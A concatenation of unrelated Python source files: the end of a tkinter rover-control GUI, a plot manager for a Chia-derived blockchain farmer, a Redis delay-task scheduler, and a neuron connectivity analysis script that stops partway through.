'SteelBlue3', 'SteelBlue4', 'DeepSkyBlue2', 'DeepSkyBlue3', 'DeepSkyBlue4',
'SkyBlue1', 'SkyBlue2', 'SkyBlue3', 'SkyBlue4', 'LightSkyBlue1', 'LightSkyBlue2',
'LightSkyBlue3', 'LightSkyBlue4', 'SlateGray1', 'SlateGray2', 'SlateGray3',
'SlateGray4', 'LightSteelBlue1', 'LightSteelBlue2', 'LightSteelBlue3',
'LightSteelBlue4', 'LightBlue1', 'LightBlue2', 'LightBlue3', 'LightBlue4',
'LightCyan2', 'LightCyan3', 'LightCyan4', 'PaleTurquoise1', 'PaleTurquoise2',
'PaleTurquoise3', 'PaleTurquoise4', 'CadetBlue1', 'CadetBlue2', 'CadetBlue3',
'CadetBlue4', 'turquoise1', 'turquoise2', 'turquoise3', 'turquoise4', 'cyan2', 'cyan3',
'cyan4', 'DarkSlateGray1', 'DarkSlateGray2', 'DarkSlateGray3', 'DarkSlateGray4',
'aquamarine2', 'aquamarine4', 'DarkSeaGreen1', 'DarkSeaGreen2', 'DarkSeaGreen3',
'DarkSeaGreen4', 'SeaGreen1', 'SeaGreen2', 'SeaGreen3', 'PaleGreen1', 'PaleGreen2',
'PaleGreen3', 'PaleGreen4', 'SpringGreen2', 'SpringGreen3', 'SpringGreen4',
'green2', 'green3', 'green4', 'chartreuse2', 'chartreuse3', 'chartreuse4',
'OliveDrab1', 'OliveDrab2', 'OliveDrab4', 'DarkOliveGreen1', 'DarkOliveGreen2',
'DarkOliveGreen3', 'DarkOliveGreen4', 'khaki1', 'khaki2', 'khaki3', 'khaki4',
'LightGoldenrod1', 'LightGoldenrod2', 'LightGoldenrod3', 'LightGoldenrod4',
'LightYellow2', 'LightYellow3', 'LightYellow4', 'yellow2', 'yellow3', 'yellow4',
'gold2', 'gold3', 'gold4', 'goldenrod1', 'goldenrod2', 'goldenrod3', 'goldenrod4',
'DarkGoldenrod1', 'DarkGoldenrod2', 'DarkGoldenrod3', 'DarkGoldenrod4',
'RosyBrown1', 'RosyBrown2', 'RosyBrown3', 'RosyBrown4', 'IndianRed1', 'IndianRed2',
'IndianRed3', 'IndianRed4', 'sienna1', 'sienna2', 'sienna3', 'sienna4', 'burlywood1',
'burlywood2', 'burlywood3', 'burlywood4', 'wheat1', 'wheat2', 'wheat3', 'wheat4', 'tan1',
'tan2', 'tan4', 'chocolate1', 'chocolate2', 'chocolate3', 'firebrick1', 'firebrick2',
'firebrick3', 'firebrick4', 'brown1', 'brown2', 'brown3', 'brown4', 'salmon1', 'salmon2',
'salmon3', 'salmon4', 'LightSalmon2', 'LightSalmon3', 'LightSalmon4', 'orange2',
'orange3', 'orange4', 'DarkOrange1', 'DarkOrange2', 'DarkOrange3', 'DarkOrange4',
'coral1', 'coral2', 'coral3', 'coral4', 'tomato2', 'tomato3', 'tomato4', 'OrangeRed2',
'OrangeRed3', 'OrangeRed4', 'red2', 'red3', 'red4', 'DeepPink2', 'DeepPink3', 'DeepPink4',
'HotPink1', 'HotPink2', 'HotPink3', 'HotPink4', 'pink1', 'pink2', 'pink3', 'pink4',
'LightPink1', 'LightPink2', 'LightPink3', 'LightPink4', 'PaleVioletRed1',
'PaleVioletRed2', 'PaleVioletRed3', 'PaleVioletRed4', 'maroon1', 'maroon2',
'maroon3', 'maroon4', 'VioletRed1', 'VioletRed2', 'VioletRed3', 'VioletRed4',
'magenta2', 'magenta3', 'magenta4', 'orchid1', 'orchid2', 'orchid3', 'orchid4', 'plum1',
'plum2', 'plum3', 'plum4', 'MediumOrchid1', 'MediumOrchid2', 'MediumOrchid3',
'MediumOrchid4', 'DarkOrchid1', 'DarkOrchid2', 'DarkOrchid3', 'DarkOrchid4',
'purple1', 'purple2', 'purple3', 'purple4', 'MediumPurple1', 'MediumPurple2',
'MediumPurple3', 'MediumPurple4', 'thistle1', 'thistle2', 'thistle3', 'thistle4',
'gray1', 'gray2', 'gray3', 'gray4', 'gray5', 'gray6', 'gray7', 'gray8', 'gray9', 'gray10',
'gray11', 'gray12', 'gray13', 'gray14', 'gray15', 'gray16', 'gray17', 'gray18', 'gray19',
'gray20', 'gray21', 'gray22', 'gray23', 'gray24', 'gray25', 'gray26', 'gray27', 'gray28',
'gray29', 'gray30', 'gray31', 'gray32', 'gray33', 'gray34', 'gray35', 'gray36', 'gray37',
'gray38', 'gray39', 'gray40', 'gray42', 'gray43', 'gray44', 'gray45', 'gray46', 'gray47',
'gray48', 'gray49', 'gray50', 'gray51', 'gray52', 'gray53', 'gray54', 'gray55', 'gray56',
'gray57', 'gray58', 'gray59', 'gray60', 'gray61', 'gray62', 'gray63', 'gray64', 'gray65',
'gray66', 'gray67', 'gray68', 'gray69', 'gray70', 'gray71', 'gray72', 'gray73', 'gray74',
'gray75', 'gray76', 'gray77', 'gray78', 'gray79', 'gray80', 'gray81', 'gray82', 'gray83',
'gray84', 'gray85', 'gray86', 'gray87', 'gray88', 'gray89', 'gray90', 'gray91', 'gray92',
'gray93', 'gray94', 'gray95', 'gray97', 'gray98', 'gray99']
def move_back(*args):
pass
def move_forward(*args):
pass
def move_left(*args):
pass
def move_right(*args):
pass
def autonomy_mode():
global autonomy,window,COLORS
if autonomy==False:
autonomy=True
window.configure(bg=COLORS[randrange(len(COLORS))])
else :
autonomy=False
window.configure(bg='white')
pass
def startrover():
global running
if running==False:
running=True
else :
running=False
def get_speed():
return randint(0,10)
def set_destination(x):
pass
def display():
set_destination((str(entry1.get())))
disp=tk.Label(text=(str(entry1.get())),font=('Times New Roman',10))
disp.place(x=320,y=0)
def stopping(*args):
print("you stopped pressing "+ args[0].char )
#http://www.science.smith.edu/dftwiki/index.php/Color_Charts_for_TKinter
window.bind('<w>',move_forward)
window.bind('<KeyRelease-w>',stopping)
window.bind('<s>',move_back)
window.bind('<KeyRelease-s>',stopping)
window.bind('<a>',move_left)
window.bind('<KeyRelease-a>',stopping)
window.bind('<d>',move_right)
window.bind('<KeyRelease-d>',stopping)
button1=tk.Button(text='^',command=move_forward,height=3,width=10,bg="gray48")
button1.place(x=80,y=610)
button2=tk.Button(text='<',command=move_left,height=3,width=10,bg="gray48")
button2.place(x=0,y=665)
button3=tk.Button(text='v',command=move_back,height=3,width=10,bg="gray48")
button3.place(x=80,y=665)
button4=tk.Button(text='>',command=move_right,height=3,width=10,bg="gray48")
button4.place(x=160,y=665)
button5 =tk.Button(text='Autonomous',command=autonomy_mode,height=3,width=10,bg='gold')
button5.place(x=320,y=665)
button6=tk.Button(text='Start/Stop',command=startrover,height=3,width=10,bg='green3')
button6.place(x=480,y=665)
label1=tk.Label(text=f'Destination : ',font=('Times New Roman',10))
label1.place(x=0,y=1)
entry1=tk.Entry()
entry1.place(x=100,y=0)
button7=tk.Button(text='set destination',command=display)
button7.place(x=225,y=0)
label2=tk.Label(text=f'Speed : ',font=('Times New Roman',10))
label2.place(x=0,y=20)
def speed():
while True:
time.sleep(1)
label3=tk.Label(text=f'{get_speed()} m/s',font=('Times New Roman',10))
label3.place(x=100,y=20)
t3=threading.Thread(target=speed)
t3.start()
window.mainloop() |
manager.py | from dataclasses import dataclass
import logging
import threading
import time
import traceback
from pathlib import Path
from typing import Any, Callable, Dict, List, Optional, Set, Tuple, Iterator
from concurrent.futures.thread import ThreadPoolExecutor
from blspy import G1Element
from chiapos import DiskProver
from stai.consensus.pos_quality import UI_ACTUAL_SPACE_CONSTANT_FACTOR, _expected_plot_size
from stai.plotting.util import (
PlotInfo,
PlotRefreshResult,
PlotsRefreshParameter,
PlotRefreshEvents,
get_plot_filenames,
parse_plot_info,
stream_plot_info_pk,
stream_plot_info_ph,
)
from stai.util.ints import uint16
from stai.util.path import mkdir
from stai.util.streamable import Streamable, streamable
from stai.types.blockchain_format.proof_of_space import ProofOfSpace
from stai.types.blockchain_format.sized_bytes import bytes32
from stai.wallet.derive_keys import master_sk_to_local_sk
log = logging.getLogger(__name__)
CURRENT_VERSION: uint16 = uint16(0)
@dataclass(frozen=True)
@streamable
class CacheEntry(Streamable):
pool_public_key: Optional[G1Element]
pool_contract_puzzle_hash: Optional[bytes32]
plot_public_key: G1Element
@dataclass(frozen=True)
@streamable
class DiskCache(Streamable):
version: uint16
data: List[Tuple[bytes32, CacheEntry]]
class Cache:
_changed: bool
_data: Dict[bytes32, CacheEntry]
def __init__(self, path: Path):
self._changed = False
self._data = {}
self._path = path
if not path.parent.exists():
mkdir(path.parent)
def __len__(self):
return len(self._data)
def update(self, plot_id: bytes32, entry: CacheEntry):
self._data[plot_id] = entry
self._changed = True
def remove(self, cache_keys: List[bytes32]):
for key in cache_keys:
if key in self._data:
del self._data[key]
self._changed = True
def save(self):
try:
disk_cache: DiskCache = DiskCache(
CURRENT_VERSION, [(plot_id, cache_entry) for plot_id, cache_entry in self.items()]
)
serialized: bytes = bytes(disk_cache)
self._path.write_bytes(serialized)
self._changed = False
log.info(f"Saved {len(serialized)} bytes of cached data")
except Exception as e:
log.error(f"Failed to save cache: {e}, {traceback.format_exc()}")
def load(self):
try:
serialized = self._path.read_bytes()
log.info(f"Loaded {len(serialized)} bytes of cached data")
stored_cache: DiskCache = DiskCache.from_bytes(serialized)
if stored_cache.version != CURRENT_VERSION:
# TODO, Migrate or drop current cache if the version changes.
raise ValueError(f"Invalid cache version {stored_cache.version}. Expected version {CURRENT_VERSION}.")
self._data = {plot_id: cache_entry for plot_id, cache_entry in stored_cache.data}
except FileNotFoundError:
log.debug(f"Cache {self._path} not found")
except Exception as e:
log.error(f"Failed to load cache: {e}, {traceback.format_exc()}")
def keys(self):
return self._data.keys()
def items(self):
return self._data.items()
def get(self, plot_id):
return self._data.get(plot_id)
def changed(self):
return self._changed
def path(self):
return self._path
class PlotManager:
plots: Dict[Path, PlotInfo]
plot_filename_paths: Dict[str, Tuple[str, Set[str]]]
plot_filename_paths_lock: threading.Lock
failed_to_open_filenames: Dict[Path, int]
no_key_filenames: Set[Path]
farmer_public_keys: List[G1Element]
pool_public_keys: List[G1Element]
cache: Cache
match_str: Optional[str]
show_memo: bool
open_no_key_filenames: bool
last_refresh_time: float
refresh_parameter: PlotsRefreshParameter
log: Any
_lock: threading.Lock
_refresh_thread: Optional[threading.Thread]
_refreshing_enabled: bool
_refresh_callback: Callable
def __init__(
self,
root_path: Path,
refresh_callback: Callable,
match_str: Optional[str] = None,
show_memo: bool = False,
open_no_key_filenames: bool = False,
refresh_parameter: PlotsRefreshParameter = PlotsRefreshParameter(),
):
self.root_path = root_path
self.plots = {}
self.plot_filename_paths = {}
self.plot_filename_paths_lock = threading.Lock()
self.failed_to_open_filenames = {}
self.no_key_filenames = set()
self.farmer_public_keys = []
self.pool_public_keys = []
self.cache = Cache(self.root_path.resolve() / "cache" / "plot_manager.dat")
self.match_str = match_str
self.show_memo = show_memo
self.open_no_key_filenames = open_no_key_filenames
self.last_refresh_time = 0
self.refresh_parameter = refresh_parameter
self.log = logging.getLogger(__name__)
self._lock = threading.Lock()
self._refresh_thread = None
self._refreshing_enabled = False
self._refresh_callback = refresh_callback # type: ignore
def __enter__(self):
self._lock.acquire()
def __exit__(self, exc_type, exc_value, exc_traceback):
self._lock.release()
def set_refresh_callback(self, callback: Callable):
self._refresh_callback = callback # type: ignore
def set_public_keys(self, farmer_public_keys: List[G1Element], pool_public_keys: List[G1Element]):
self.farmer_public_keys = farmer_public_keys
self.pool_public_keys = pool_public_keys
def public_keys_available(self):
return len(self.farmer_public_keys) and len(self.pool_public_keys)
def plot_count(self):
with self:
return len(self.plots)
def get_duplicates(self):
result = []
for plot_filename, paths_entry in self.plot_filename_paths.items():
_, duplicated_paths = paths_entry
for path in duplicated_paths:
result.append(Path(path) / plot_filename)
return result
def needs_refresh(self) -> bool:
return time.time() - self.last_refresh_time > float(self.refresh_parameter.interval_seconds)
def start_refreshing(self):
self._refreshing_enabled = True
if self._refresh_thread is None or not self._refresh_thread.is_alive():
self.cache.load()
self._refresh_thread = threading.Thread(target=self._refresh_task)
self._refresh_thread.start()
def stop_refreshing(self):
self._refreshing_enabled = False
if self._refresh_thread is not None and self._refresh_thread.is_alive():
self._refresh_thread.join()
self._refresh_thread = None
def trigger_refresh(self):
log.debug("trigger_refresh")
self.last_refresh_time = 0
def _refresh_task(self):
while self._refreshing_enabled:
while not self.needs_refresh() and self._refreshing_enabled:
time.sleep(1)
if not self._refreshing_enabled:
return
plot_filenames: Dict[Path, List[Path]] = get_plot_filenames(self.root_path)
plot_directories: Set[Path] = set(plot_filenames.keys())
plot_paths: List[Path] = []
for paths in plot_filenames.values():
plot_paths += paths
total_result: PlotRefreshResult = PlotRefreshResult()
total_size = len(plot_paths)
self._refresh_callback(PlotRefreshEvents.started, PlotRefreshResult(remaining=total_size))
# First drop all plots we have in plot_filename_paths but not longer in the filesystem or set in config
def plot_removed(test_path: Path):
return not test_path.exists() or test_path.parent not in plot_directories
filenames_to_remove: List[str] = []
for plot_filename, paths_entry in self.plot_filename_paths.items():
loaded_path, duplicated_paths = paths_entry
loaded_plot = Path(loaded_path) / Path(plot_filename)
if plot_removed(loaded_plot):
filenames_to_remove.append(plot_filename)
if loaded_plot in self.plots:
del self.plots[loaded_plot]
total_result.removed += 1
# No need to check the duplicates here since we drop the whole entry
continue
paths_to_remove: List[str] = []
for path in duplicated_paths:
if plot_removed(Path(path) / Path(plot_filename)):
paths_to_remove.append(path)
total_result.removed += 1
for path in paths_to_remove:
duplicated_paths.remove(path)
for filename in filenames_to_remove:
del self.plot_filename_paths[filename]
def batches() -> Iterator[Tuple[int, List[Path]]]:
if total_size > 0:
for batch_start in range(0, total_size, self.refresh_parameter.batch_size):
batch_end = min(batch_start + self.refresh_parameter.batch_size, total_size)
yield total_size - batch_end, plot_paths[batch_start:batch_end]
else:
yield 0, []
for remaining, batch in batches():
batch_result: PlotRefreshResult = self.refresh_batch(batch, plot_directories)
if not self._refreshing_enabled:
self.log.debug("refresh_plots: Aborted")
break
# Set the remaining files since `refresh_batch()` doesn't know them but we want to report it
batch_result.remaining = remaining
total_result.loaded += batch_result.loaded
total_result.processed += batch_result.processed
total_result.duration += batch_result.duration
self._refresh_callback(PlotRefreshEvents.batch_processed, batch_result)
if remaining == 0:
break
batch_sleep = self.refresh_parameter.batch_sleep_milliseconds
self.log.debug(f"refresh_plots: Sleep {batch_sleep} milliseconds")
time.sleep(float(batch_sleep) / 1000.0)
if self._refreshing_enabled:
self._refresh_callback(PlotRefreshEvents.done, total_result)
# Cleanup unused cache
available_ids = set([plot_info.prover.get_id() for plot_info in self.plots.values()])
invalid_cache_keys = [plot_id for plot_id in self.cache.keys() if plot_id not in available_ids]
self.cache.remove(invalid_cache_keys)
self.log.debug(f"_refresh_task: cached entries removed: {len(invalid_cache_keys)}")
if self.cache.changed():
self.cache.save()
self.last_refresh_time = time.time()
self.log.debug(
f"_refresh_task: total_result.loaded {total_result.loaded}, "
f"total_result.removed {total_result.removed}, "
f"total_duration {total_result.duration:.2f} seconds"
)
def refresh_batch(self, plot_paths: List[Path], plot_directories: Set[Path]) -> PlotRefreshResult:
start_time: float = time.time()
result: PlotRefreshResult = PlotRefreshResult(processed=len(plot_paths))
counter_lock = threading.Lock()
log.debug(f"refresh_batch: {len(plot_paths)} files in directories {plot_directories}")
if self.match_str is not None:
log.info(f'Only loading plots that contain "{self.match_str}" in the file or directory name')
def process_file(file_path: Path) -> Optional[PlotInfo]:
if not self._refreshing_enabled:
return None
filename_str = str(file_path)
if self.match_str is not None and self.match_str not in filename_str:
return None
if (
file_path in self.failed_to_open_filenames
and (time.time() - self.failed_to_open_filenames[file_path])
< self.refresh_parameter.retry_invalid_seconds
):
# Try once every `refresh_parameter.retry_invalid_seconds` seconds to open the file
return None
if file_path in self.plots:
return self.plots[file_path]
entry: Optional[Tuple[str, Set[str]]] = self.plot_filename_paths.get(file_path.name)
if entry is not None:
loaded_parent, duplicates = entry
if str(file_path.parent) in duplicates:
log.debug(f"Skip duplicated plot {str(file_path)}")
return None
try:
if not file_path.exists():
return None
prover = DiskProver(str(file_path))
log.debug(f"process_file {str(file_path)}")
expected_size = _expected_plot_size(prover.get_size()) * UI_ACTUAL_SPACE_CONSTANT_FACTOR
stat_info = file_path.stat()
# TODO: consider checking if the file was just written to (which would mean that the file is still
# being copied). A segfault might happen in this edge case.
if prover.get_size() >= 30 and stat_info.st_size < 0.98 * expected_size:
log.warning(
f"Not farming plot {file_path}. Size is {stat_info.st_size / (1024**3)} GiB, but expected"
f" at least: {expected_size / (1024 ** 3)} GiB. We assume the file is being copied."
)
return None
cache_entry = self.cache.get(prover.get_id())
if cache_entry is None:
(
pool_public_key_or_puzzle_hash,
farmer_public_key,
local_master_sk,
) = parse_plot_info(prover.get_memo())
# Only use plots that correct keys associated with them
if farmer_public_key not in self.farmer_public_keys:
log.warning(f"Plot {file_path} has a farmer public key that is not in the farmer's pk list.")
self.no_key_filenames.add(file_path)
if not self.open_no_key_filenames:
return None
pool_public_key: Optional[G1Element] = None
pool_contract_puzzle_hash: Optional[bytes32] = None
if isinstance(pool_public_key_or_puzzle_hash, G1Element):
pool_public_key = pool_public_key_or_puzzle_hash
else:
assert isinstance(pool_public_key_or_puzzle_hash, bytes32)
pool_contract_puzzle_hash = pool_public_key_or_puzzle_hash
if pool_public_key is not None and pool_public_key not in self.pool_public_keys:
log.warning(f"Plot {file_path} has a pool public key that is not in the farmer's pool pk list.")
self.no_key_filenames.add(file_path)
if not self.open_no_key_filenames:
return None
local_sk = master_sk_to_local_sk(local_master_sk)
plot_public_key: G1Element = ProofOfSpace.generate_plot_public_key(
local_sk.get_g1(), farmer_public_key, pool_contract_puzzle_hash is not None
)
cache_entry = CacheEntry(pool_public_key, pool_contract_puzzle_hash, plot_public_key)
self.cache.update(prover.get_id(), cache_entry)
with self.plot_filename_paths_lock:
paths: Optional[Tuple[str, Set[str]]] = self.plot_filename_paths.get(file_path.name)
if paths is None:
paths = (str(Path(prover.get_filename()).parent), set())
self.plot_filename_paths[file_path.name] = paths
else:
paths[1].add(str(Path(prover.get_filename()).parent))
log.warning(f"Have multiple copies of the plot {file_path.name} in {[paths[0], *paths[1]]}.")
return None
new_plot_info: PlotInfo = PlotInfo(
prover,
cache_entry.pool_public_key,
cache_entry.pool_contract_puzzle_hash,
cache_entry.plot_public_key,
stat_info.st_size,
stat_info.st_mtime,
)
with counter_lock:
result.loaded += 1
if file_path in self.failed_to_open_filenames:
del self.failed_to_open_filenames[file_path]
except Exception as e:
tb = traceback.format_exc()
log.error(f"Failed to open file {file_path}. {e} {tb}")
self.failed_to_open_filenames[file_path] = int(time.time())
return None
log.info(f"Found plot {file_path} of size {new_plot_info.prover.get_size()}")
if self.show_memo:
plot_memo: bytes32
if pool_contract_puzzle_hash is None:
plot_memo = stream_plot_info_pk(pool_public_key, farmer_public_key, local_master_sk)
else:
plot_memo = stream_plot_info_ph(pool_contract_puzzle_hash, farmer_public_key, local_master_sk)
plot_memo_str: str = plot_memo.hex()
log.info(f"Memo: {plot_memo_str}")
return new_plot_info
with self, ThreadPoolExecutor() as executor:
plots_refreshed: Dict[Path, PlotInfo] = {}
for new_plot in executor.map(process_file, plot_paths):
if new_plot is not None:
plots_refreshed[Path(new_plot.prover.get_filename())] = new_plot
self.plots.update(plots_refreshed)
result.duration = time.time() - start_time
self.log.debug(
f"refresh_batch: loaded {result.loaded}, "
f"removed {result.removed}, processed {result.processed}, "
f"remaining {result.remaining}, batch_size {self.refresh_parameter.batch_size}, "
f"duration: {result.duration:.2f} seconds"
)
return result
|
delay_schedule.py | # !/usr/bin/env python
# -*- coding:utf-8 -*-
"""
Copyright 2020 Tianshu AI Platform. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=============================================================
"""
import time
import sched
import threading
import logging
import script.delaytaskscript as delay_script
from datetime import datetime
schedule = sched.scheduler(time.time, time.sleep)
class Start_thread:
def start_thread(self):
Redis_thread.processing_queue = self
t = threading.Thread(target=delay_key_thread, args=())
t.setDaemon(True)
t.start()
class Redis_thread:
processing_queue = None
redis_client_thread = None
processing_key = None
def delay_schedule(inc, ):
"""Delay task method.
Args:
self: scheduled task time.
:param inc:
"""
try:
logging.info("delay:" + datetime.now().strftime("B%Y-%m-%d %H:%M:%S"))
if Redis_thread.processing_key is not None:
logging.info("执行一次delay操作")
logging.info("---------------delay_key = %s", Redis_thread.processing_key)
Redis_thread.redis_client_thread.eval(delay_script.delayTaskLua, 1, Redis_thread.processing_queue,
Redis_thread.processing_key,
int(time.time()))
schedule.enter(inc, 0, delay_schedule, (inc,))
except Exception as e:
logging.info("delay error: %s", e)
def delay_key_thread():
"""Delay task thread.
Args:
"""
schedule.enter(0, 0, delay_schedule, (5,))
schedule.run()
|
eval_cellular.py | import os
import sys
import numpy as np
import multiprocessing as mp
from ctypes import c_float
import json
import math
import matplotlib.pyplot as plt
import util
import util_empirical
import util_meta
import util_filter
import util_geometry
import constants
import util_features_mp
import util_stats
import util_cache
def getDefaultSlices():
slices = []
x0 = -145
dx = -20
width = 300
tissueDepth = (31, 130)
for i in range(0, 10):
xlow = x0 + i * dx
xhigh = xlow + width
sliceLow = {
"sliceRange": (xlow, xhigh),
"somaRange": (xlow + tissueDepth[0], xlow + tissueDepth[1]),
"compartment" : ["BasalDendrite", "Soma", "Axon"]
}
slices.append(sliceLow)
sliceHigh = {
"sliceRange": (xlow, xhigh),
"somaRange": (xhigh - tissueDepth[1], xhigh - tissueDepth[0]),
"compartment" : ["BasalDendrite", "Soma", "Axon"]
}
slices.append(sliceHigh)
return slices
def applyFilter(neurons, layer, celltype, onlySeptum, sliceSpec):
if(celltype == "VPM"):
spec = util_filter.getVPMFilter()
else:
spec = util_filter.getDefaultFilter()
if(onlySeptum):
spec["region_whitelist"] = ["S1_Septum_C2"]
else:
spec["region_whitelist"] = ["C2", "S1_Septum_C2"]
layerDepths = constants.getLayerDepths()
if(layer not in layerDepths):
raise ValueError(layer)
else:
spec["cortical_depth"] = layerDepths[layer]
if(celltype == "EXC"):
spec["celltype_blacklist"] = ["INH"]
elif(celltype in constants.getCellTypesExc(includeVPM=False)):
spec["celltype_whitelist"] = [celltype]
else:
raise ValueError(celltype)
if(sliceSpec is not None):
spec["range_x"] = sliceSpec["somaRange"]
nids = util_filter.filterNIDs(neurons, spec)
return nids
def filterIdsSinglePopulation(neurons, userFilter, sliceSpec):
userFilter["range_x"] = list(sliceSpec["somaRange"])
if("region_whitelist" in userFilter):
regionFilter = {}
regionFilter["region_whitelist"] = userFilter["region_whitelist"]
return util_filter.filterNIDsTwoRounds(neurons, regionFilter, userFilter)
else:
return util_filter.filterNIDs(neurons, userFilter)
def filterIdsDefaultSlicesOnline(neurons, preFilter, postFilter, returnMerged = True):
print("filterIdsDefaultSlicesOnline")
slices = getDefaultSlices()
preIdsMerged = set()
postIdsMerged = set()
preIdsPerSlice = []
postIdsPerSlice = []
for i in range(0, len(slices)):
print("filter slice", i)
sliceSpec = slices[i]
preIds = filterIdsSinglePopulation(neurons, preFilter, sliceSpec)
postIds = filterIdsSinglePopulation(neurons, postFilter, sliceSpec)
preIdsMerged |= preIds
postIdsMerged |= postIds
preIdsPerSlice.append(preIds)
postIdsPerSlice.append(postIds)
if(returnMerged):
return preIdsMerged, postIdsMerged
else:
return preIdsPerSlice, postIdsPerSlice
def filterIdsBatch(publications, publicationIndices, networkDir, outputDir):
neurons = util_meta.loadNeuronProps(os.path.join(networkDir, "neurons.csv"))
slices = getDefaultSlices()
for pubIndex in publicationIndices:
publication = publications[pubIndex]
publicationId = publication["ID"]
measurementType = publication["type"]
preLayer = publication["pre_layer"]
postLayer = publication["post_layer"]
preType = publication["pre_type"]
postType = publication["post_type"]
onlySeptum = publication["only_septum"] == "yes"
if(measurementType == "connection_probability_invivo"):
preIds = applyFilter(neurons, preLayer, preType, onlySeptum, None)
postIds = applyFilter(neurons, postLayer, postType, onlySeptum, None)
filenamePre = os.path.join(outputDir, "{}_pre.txt".format(publicationId))
filenamePost = os.path.join(outputDir, "{}_post.txt".format(publicationId))
util.writeIdsToFile(filenamePre, preIds)
util.writeIdsToFile(filenamePost, postIds)
elif(measurementType == "connection_probability_invitro"):
for i in range(0, len(slices)):
preIds = applyFilter(neurons, preLayer, preType, onlySeptum, slices[i])
postIds = applyFilter(neurons, postLayer, postType, onlySeptum, slices[i])
filenamePre = os.path.join(outputDir, "{}_pre_slice-{}.txt".format(publicationId, i))
filenamePost = os.path.join(outputDir, "{}_post_slice-{}.txt".format(publicationId, i))
util.writeIdsToFile(filenamePre, preIds)
util.writeIdsToFile(filenamePost, postIds)
else:
raise ValueError(measurementType)
def filterIds(networkDir, outputDir, numWorkers):
publicationsFile = os.path.join(networkDir, "empirical_data.json")
publications = util_empirical.loadPublications(publicationsFile, extend_sort=True)
publicationIndices = np.arange(len(publications))
batches = np.array_split(publicationIndices, numWorkers)
processes = []
for batch in batches:
p = mp.Process(target=filterIdsBatch, args=(publications, batch, networkDir, outputDir))
p.start()
processes.append(p)
for p in processes:
p.join()
def calcConnectivityBatch(probabilities, preFeatures, postFeatures, preIds, preIndices, postIds, neurons):
nPre = len(preIndices)
nPost = len(postIds)
# local copy from shared dict
postData = {}
for postId in postIds:
postData[postId] = postFeatures[postId]
for i in range(0, nPre):
preIdx = preIndices[i]
preId = preIds[preIdx]
exc = neurons[preId]["cell_type"] != 11
featuresPre = preFeatures[preId]
arrayIndicesPre = featuresPre["arrayIndices"]
arrayBoutons = featuresPre["arrayBoutons"]
for j in range(0, nPost):
postId = postIds[j]
idx_ij = preIdx * nPost + j
if(preId == postId):
probabilities[idx_ij] = -1
else:
featuresPost = postData[postId]
arrayIndicesPost = featuresPost["arrayIndices"]
arrayPstExcNorm = featuresPost["arrayPstExcNorm"]
arrayPstInhNorm = featuresPost["arrayPstInhNorm"]
common, commonPreIdx, commonPostIdx = np.intersect1d(arrayIndicesPre, arrayIndicesPost, assume_unique=True, return_indices=True)
if(common.size):
if(exc):
dsc = np.multiply(arrayBoutons[commonPreIdx], arrayPstExcNorm[commonPostIdx])
else:
dsc = np.multiply(arrayBoutons[commonPreIdx], arrayPstInhNorm[commonPostIdx])
prob = 1-math.exp(-np.sum(dsc))
probabilities[idx_ij] = prob
def getIdsArray(preIds, postIds):
idsArray = np.zeros(shape=(len(preIds) * len(postIds), 2), dtype=int)
k = 0
for preId in preIds:
for postId in postIds:
if(preId == postId):
idsArray[k, 0] = -1
else:
idsArray[k, 0] = preId
idsArray[k, 1] = postId
k +=1
validRows = idsArray[:,0] >= 0
idsArray = idsArray[validRows, :]
return idsArray
def getIndices(preIds, postIds):
nPre = len(preIds)
nPost = len(postIds)
nPairs = nPre * nPost
indices = -1 * np.ones((nPairs,2), dtype=int)
for i in range(0, len(preIds)):
for j in range(0, len(postIds)):
idx = i * nPost + j
indices[idx,0] = preIds[i]
indices[idx,1] = postIds[j]
return indices
def calcConnectivity(preFeatures, postFeatures, preIds, postIds, neurons, numWorkers, probabilitiesOnly = False):
nPre = len(preIds)
nPost = len(postIds)
nPairs = nPre * nPost
probabilitiesShared = mp.Array(c_float, nPairs, lock=False)
preIndices = np.arange(nPre)
batches = np.array_split(preIndices, numWorkers)
processes = []
for batch in batches:
p = mp.Process(target=calcConnectivityBatch, args=(probabilitiesShared, preFeatures, postFeatures, preIds, batch, postIds, neurons))
p.start()
processes.append(p)
for p in processes:
p.join()
probabilitiesUnfiltered = np.array(probabilitiesShared)
probabilities = probabilitiesUnfiltered[probabilitiesUnfiltered >= 0] # filter self-connections
if(probabilitiesOnly):
indices = getIndices(preIds, postIds)
probabilitiesUnfiltered[probabilitiesUnfiltered == -1] = 0 # set self-connections to zero
return probabilities, probabilitiesUnfiltered, indices
else:
stats = {
"nPre": len(preIds),
"nPost": len(postIds),
"avg": float(np.mean(probabilities)),
"std": float(np.std(probabilities))
}
histogram = util_stats.probabilityArrayToHistogram(probabilities)
idsArray = getIdsArray(preIds, postIds)
return stats, histogram, probabilities, idsArray
def writeConnectivityStats(outfolder, publicationId, stats, histogram, probabilitiesFlat, idsArray, sliceIndex=None):
if(sliceIndex is not None):
sliceDescriptor = "slice-{}_".format(sliceIndex)
else:
sliceDescriptor = ""
statsFile = os.path.join(outfolder, "{}_{}stats.json".format(publicationId, sliceDescriptor))
with open(statsFile, "w+") as f:
json.dump(stats, f)
histogramFile = os.path.join(outfolder, "{}_{}probability_histogram.txt".format(publicationId, sliceDescriptor))
np.savetxt(histogramFile, histogram)
probabilitiesFile = os.path.join(outfolder, "{}_{}probabilities_flat.txt".format(publicationId, sliceDescriptor))
np.savetxt(probabilitiesFile, probabilitiesFlat)
idsFile = os.path.join(outfolder, "{}_{}ids.csv".format(publicationId, sliceDescriptor))
np.savetxt(idsFile, idsArray, fmt="%d", delimiter=",")
def loadPstAll(cacheDir):
pstExcFile = os.path.join(cacheDir, "pstAllExc")
pstInhFile = os.path.join(cacheDir, "pstAllInh")
if(not os.path.exists(pstExcFile)):
return None, None
pstAllExc = np.loadtxt(pstExcFile)
pstAllInh = np.loadtxt(pstInhFile)
pstAllExcShared = util_features_mp.numpyToSharedArray(pstAllExc)
pstAllInhShared = util_features_mp.numpyToSharedArray(pstAllInh)
return pstAllExcShared, pstAllInhShared
def savePstAll(cacheDir, pstAllExc, pstAllInh):
pstExcFile = os.path.join(cacheDir, "pstAllExc")
pstInhFile = os.path.join(cacheDir, "pstAllInh")
pstAllExcNumpy = np.array(pstAllExc)
pstAllInhNumpy = np.array(pstAllInh)
